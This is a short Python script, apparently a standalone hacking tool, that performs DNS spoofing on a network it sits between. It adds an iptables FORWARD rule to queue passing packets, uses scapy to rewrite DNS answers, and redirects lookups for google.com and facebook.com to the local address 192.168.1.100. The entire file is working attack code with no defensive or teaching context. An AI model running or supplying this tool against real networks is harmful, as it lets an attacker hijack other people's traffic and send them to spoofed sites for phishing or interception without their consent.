```python
import os
import logging as log
from scapy.all import IP, DNSRR, DNS, UDP, DNSQR
from netfilterqueue import NetfilterQueue


class DnsSnoof:
 def __init__(self, hostDict, queueNum):
  self.hostDict = hostDict
  self.queueNum = queueNum
  self.queue = NetfilterQueue()

 def __call__(self):
  log.info("Snoofing....")
  os.system(
   f'iptables -I FORWARD -j NFQUEUE --queue-num {self.queueNum}')
  self.queue.bind(self.queueNum, self.callBack)
  try:
   self.queue.run()
  except KeyboardInterrupt:
   os.system(
    f'iptables -D FORWARD -j NFQUEUE --queue-num {self.queueNum}')
   log.info("[!] iptable rule flushed")

 def callBack(self, packet):
  scapyPacket = IP(packet.get_payload())
  if scapyPacket.haslayer(DNSRR):
   try:
    log.info(f'[original] { scapyPacket[DNSRR].summary()}')
    queryName = scapyPacket[DNSQR].qname
    if queryName in self.hostDict:
     scapyPacket[DNS].an = DNSRR(
      rrname=queryName, rdata=self.hostDict[queryName])
     scapyPacket[DNS].ancount = 1
     del scapyPacket[IP].len
     del scapyPacket[IP].chksum
     del scapyPacket[UDP].len
     del scapyPacket[UDP].chksum
     log.info(f'[modified] {scapyPacket[DNSRR].summary()}')
    else:
     log.info(f'[not modified] { scapyPacket[DNSRR].rdata }')
   except IndexError as error:
    log.error(error)
   packet.set_payload(bytes(scapyPacket))
  return packet.accept()


if __name__ == '__main__':
 try:
  hostDict = {
   b"google.com.": "192.168.1.100",
   b"facebook.com.": "192.168.1.100"
  }
  queueNum = 1
  log.basicConfig(format='%(asctime)s - %(message)s',
      level = log.INFO)
  snoof = DnsSnoof(hostDict, queueNum)
  snoof()
 except OSError as error:
  log.error(error)
```